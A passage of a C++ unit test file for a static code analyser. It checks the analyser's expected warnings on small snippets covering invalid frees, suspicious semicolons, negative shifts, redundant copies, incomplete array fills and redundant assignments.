[constParameterPointer]\\n\"\n \"[test.cpp:4:23]: (style) Parameter 'second' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 <= x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 <= x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x, Bar* y) {\\n\"\n \" if (0 <= x->y - y->y ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:1:23]: (style) Parameter 'y' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"void foo(const Bar* x) {\\n\"\n \" if (0 > x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\", errout_str());\n\n check(\"void foo(const int* x) {\\n\"\n \" if (0 > x[0]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x.y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo(Bar* x) {\\n\"\n \" if (0 > x->y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (t(a, b) < 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int (*t)(void *a, void *b);\\n\"\n \" if (0 > t(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int typep[10]; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) A pointer can not be negative so it is either pointless or an error to check if it is. [pointerLessThanZero]\\n\"\n \"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct object_info { int *typep; };\\n\"\n \"void packed_object_info(struct object_info *oi) {\\n\"\n \" if (*oi->typep < 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:45]: (style) Parameter 'oi' can be declared as pointer to const [constParameterPointer]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon1() {\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Empty block\n check(\"void foo() {\\n\"\n \" for(int i = 0; i < 10; ++i); {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'for' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while (!quit); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'while' statement. [suspiciousSemicolon]\\n\", errout_str());\n }\n\n void checkSuspiciousSemicolon2() {\n check(\"void foo() {\\n\"\n \" if (i == 1); {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (warning) Suspicious use of ; at the end of 'if' statement. [suspiciousSemicolon]\\n\", errout_str());\n\n // Seen this in the wild\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (Match());\\n\"\n \" else\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1)\\n\"\n \" ;\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (i == 1);\\n\"\n \"\\n\"\n \" {\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousSemicolon3() {\n checkP(\"#define REQUIRE(code) {code}\\n\"\n \"void foo() {\\n\"\n \" if (x == 123);\\n\"\n \" REQUIRE(y=z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkSuspiciousComparison() {\n checkP(\"void f(int a, int b) {\\n\"\n \" a > b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '>', result is not used. [constStatement]\\n\", errout_str());\n\n checkP(\"void f() {\\n\" // #10607\n \" for (auto p : m)\\n\"\n \" std::vector> k;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkInvalidFree() {\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(a - 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = malloc(1024);\\n\"\n \" free(10 + a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char[1024];\\n\"\n \" delete[] (a + 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:3:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" char *b; b = new char;\\n\"\n \" bar(a, b);\\n\"\n \" delete a + 10;\\n\"\n \" delete b + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(char *p) {\\n\"\n \" char *a; a = new char;\\n\"\n \" bar()\\n\"\n \" delete a + 10;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (style) Parameter 'p' can be declared as pointer to const [constParameterPointer]\\n\"\n \"[test.cpp:4:3]: (error) Mismatching address is deleted. The address you get from new must be deleted without offset. [invalidFree]\\n\",\n errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" ptr += xx;\\n\"\n \" free(ptr + 1 - xx);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:3]: (error) Mismatching address is freed. The address you get from malloc() must be freed without offset. [invalidFree]\\n\", errout_str());\n\n check(\"void foo(size_t xx) {\\n\"\n \" char *ptr; ptr = malloc(42);\\n\"\n \" std::cout << ptr;\\n\"\n \" ptr = otherPtr;\\n\"\n \" free(otherPtr - xx - 1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9]: (style) Variable 'ptr' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n }\n\n void checkRedundantCopy() {\n check(\"const std::string& getA(){static std::string a;return a;}\\n\"\n \"void foo() {\\n\"\n \" const std::string a = getA();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a = getA();\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int getA = 0;\\n\"\n \" const int a = getA + 3;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:12] -> [test.cpp:4:9]: (style) Local variable 'getA' shadows outer function [shadowFunction]\\n\", errout_str());\n\n check(\"class A { public: A() {} char x[100]; };\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13]: (performance, inconclusive) Use const reference for 'a' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"const int& getA(){static int a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const int a(getA());\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a = getA() + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A{\\n\"\n \"public:A(int a=0){_a = a;}\\n\"\n \"A operator+(const A & a){return A(_a+a._a);}\\n\"\n \"private:int _a;};\\n\"\n \"const A& getA(){static A a;return a;}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" const A a(getA()+1);\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5190 - FP when creating object with constructor that takes a reference\n check(\"class A {};\\n\"\n \"class B { B(const A &a); };\\n\"\n \"const A &getA();\\n\"\n \"void f() {\\n\"\n \" const B b(getA());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class A {};\\n\"\n \"class B { B(const A& a); };\\n\"\n \"const A& getA();\\n\"\n \"void f() {\\n\"\n \" const B b{ getA() };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5618\n const char code5618[] = \"class Token {\\n\"\n \"public:\\n\"\n \" const std::string& str();\\n\"\n \"};\\n\"\n \"void simplifyArrayAccessSyntax() {\\n\"\n \" for (Token *tok = list.front(); tok; tok = tok->next()) {\\n\"\n \" const std::string temp = tok->str();\\n\"\n \" tok->str(tok->strAt(2));\\n\"\n \" }\\n\"\n \"}\";\n check(code5618, true, true);\n ASSERT_EQUALS(\"\", errout_str());\n check(code5618, true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5890 - crash: wesnoth desktop_util.cpp / unicode.hpp\n check(\"typedef std::vector X;\\n\"\n \"X f(const X &in) {\\n\"\n \" const X s = f(in);\\n\"\n \" return f(s);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7981 - False positive redundantCopyLocalConst - const ref argument to ctor\n check(\"class CD {\\n\"\n \" public:\\n\"\n \" CD(const CD&);\\n\"\n \" static const CD& getOne();\\n\"\n \"};\\n\"\n \" \\n\"\n \"void foo() {\\n\"\n \" const CD cd(CD::getOne());\\n\"\n \"}\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #10545\n \" int modify();\\n\"\n \" const std::string& get() const;\\n\"\n \"};\\n\"\n \"std::string f(S& s) {\\n\"\n \" const std::string old = s.get();\\n\"\n \" int i = s.modify();\\n\"\n \" if (i != 0)\\n\"\n \" return old;\\n\"\n \" return {};\\n\"\n \"}\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int x; };\\n\" // #10191\n \"struct S {\\n\"\n \" X _x;\\n\"\n \" X& get() { return _x; }\\n\"\n \" void modify() { _x.x += 42; }\\n\"\n \" int copy() {\\n\"\n \" const X x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \" int constref() {\\n\"\n \" const X& x = get();\\n\"\n \" modify();\\n\"\n \" return x.x;\\n\"\n \" }\\n\"\n \"};\\n\", true, /*inconclusive*/ true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10704\n check(\"struct C {\\n\"\n \" std::string str;\\n\"\n \" const std::string& get() const { return str; }\\n\"\n \"};\\n\"\n \"struct D {\\n\"\n \" C c;\\n\"\n \" bool f() const {\\n\"\n \" std::string s = c.get();\\n\"\n \" return s.empty();\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:21]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n\n check(\"struct C {\\n\"\n \" const std::string & get() const { return m; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"C getC();\\n\"\n \"void f() {\\n\"\n \" const std::string s = getC().get();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" std::string s = getC().get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12139\n \" int x, y;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" const S& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const S a = t.get();\\n\"\n \" if (a.x > a.y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12740\n \" const std::string & get() const { return m; }\\n\"\n \" void set(const std::string& v) { m = v; }\\n\"\n \" std::string m;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" void f();\\n\"\n \" S* s;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" const std::string o = s->get();\\n\"\n \" s->set(\\\"abc\\\");\\n\"\n \" s->set(o);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12196\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S* m;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"struct U {\\n\"\n \" explicit U(S* p);\\n\"\n \" void g();\\n\"\n \" S* n;\\n\"\n \"};\\n\"\n \"void T::f() {\\n\"\n \" U u(m);\\n\"\n \" const std::string c = m->get();\\n\"\n \" u.g();\\n\"\n \" if (c == m->get()) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"\",\n \"[test.cpp:16:33] -> [test.cpp:18:11]: (style) The comparison 'c == m->get()' is always true because 'c' and 'm->get()' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12925\n \" const std::string & f() const { return str; }\\n\"\n \" std::string str;\\n\"\n \"};\\n\"\n \"void f(const S* s) {\\n\"\n \" const std::string v{ s->f() };\\n\"\n \" if (v.empty()) {}\\n\"\n \"}\\n\"\n \"void g(const S* s) {\\n\"\n \" const std::string w(s->f());\\n\"\n \" if (w.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (performance, inconclusive) Use const reference for 'v' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\"\n \"[test.cpp:10:23]: (performance, inconclusive) Use const reference for 'w' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\",\n errout_str());\n\n check(\"struct T {\\n\"\n \" std::string s;\\n\"\n \" const std::string& get() const { return s; }\\n\"\n \"};\\n\"\n \"void f(const T& t) {\\n\"\n \" const auto s = t.get();\\n\"\n \" if (s.empty()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (performance, inconclusive) Use const reference for 's' to avoid unnecessary data copying. [redundantCopyLocalConst]\\n\", errout_str());\n }\n\n void checkNegativeShift() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a << -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" (void)(a >> -1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a <<= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int a; a = 123;\\n\"\n \" a >>= -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:6]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << a << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::cout << 3 << -1 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo() {\\n\"\n \" x = (-10+2) << 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"x = y ? z << $-1 : 0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Negative LHS\n check(\"const int x = -1 >> 2;\");\n ASSERT_EQUALS(\"[test.cpp:1:18]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n // #6383 - unsigned type\n check(\"const int x = (unsigned int)(-1) >> 2;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7814 - UB happening in valueflowcode when it tried to compute shifts.\n check(\"int shift1() { return 1 >> -1 ;}\\n\"\n \"int shift2() { return 1 << -1 ;}\\n\"\n \"int shift3() { return -1 >> 1 ;}\\n\"\n \"int shift4() { return -1 << 1 ;}\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:2:25]: (error) Shifting by a negative value is undefined behaviour [shiftNegative]\\n\"\n \"[test.cpp:3:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\"\n \"[test.cpp:4:26]: (portability) Shifting a negative value is technically undefined behaviour [shiftNegativeLHS]\\n\", errout_str());\n\n check(\"void f(int i) {\\n\" // #12916\n \" if (i < 0) {\\n\"\n \" g(\\\"abc\\\" << i);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13326\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\"\n \"int f(int a)\\n\"\n \"{\\n\"\n \" if constexpr (b >= 0) {\\n\"\n \" return a << b;\\n\"\n \" } else {\\n\"\n \" return a << -b;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f<-1>(2)\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void incompleteArrayFill() {\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a, 123, 5);\\n\"\n \" memcpy(a, b, 5);\\n\"\n \" memmove(a, b, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(// TODO \"[test.cpp:4] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memcpy()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memmove()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"int a[5];\\n\"\n \"namespace Z { struct B { int a[5]; } b; }\\n\"\n \"void f() {\\n\"\n \" memset(::a, 123, 5);\\n\"\n \" memset(Z::b.a, 123, 5);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\"\n \"[test.cpp:5]: (warning, inconclusive) Array 'Z::b.a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*Z::b.a)'?\\n\",\n \"[test.cpp:4:5]: (warning, inconclusive) Array '::a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*::a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo* a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"class Foo {int a; int b;};\\n\"\n \"void f() {\\n\"\n \" Foo a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo a[5];\\n\" // Size of foo is unknown\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char a[5];\\n\"\n \" memset(a, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a[5];\\n\"\n \" memset(a+15, 'a', 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool a[5];\\n\"\n \" memset(a, false, 5);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (portability, inconclusive) Array 'a' might be filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int n = 5;\"\n \" int a[n];\\n\"\n \" memset(a, 0, n);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Array 'a' is filled incompletely. Did you forget to multiply the size given to 'memset()' with 'sizeof(*a)'? [incompleteArrayFill]\\n\", errout_str());\n }\n\n void redundantVarAssignment() {\n setMultiline();\n\n // Simple tests\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:3:7]: note: i is overwritten\\n\", errout_str());\n\n // non-local variable => only show warning when inconclusive is used\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 1;\\n\"\n \" i = 1;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i[10];\\n\"\n \" i[2] = 1;\\n\"\n \" i[2] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[2]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[2] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[2] is overwritten\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" x=1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int x) {\\n\"\n \" int i[10];\\n\"\n \" i[x] = 1;\\n\"\n \" i[x] = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: style: Variable 'i[x]' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:3:10]: note: i[x] is assigned\\n\"\n \"[test.cpp:4:10]: note: i[x] is overwritten\\n\", errout_str());\n\n // Testing different types\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\"\n \" bar = x;\\n\"\n \" bar = y;\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n\n check(\"void f() {\\n\"\n \" Foo& bar = foo();\\n\" // #4425. bar might refer to something global, etc.\n \" bar = y();\\n\"\n \" foo();\\n\"\n \" bar = y();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Tests with function call between assignment\n check(\"void f(int i) {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\"\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: style: Variable 'i' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:2:7]: note: i is assigned\\n\"\n \"[test.cpp:4:7]: note: i is overwritten\\n\", errout_str());\n\n check(\"int i;\\n\"\n \"void f() {\\n\"\n \" i = 1;\\n\"\n \" bar();\\n\" // Global variable might be accessed in bar()\n \" i = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int i;\\n\"\n \" i = 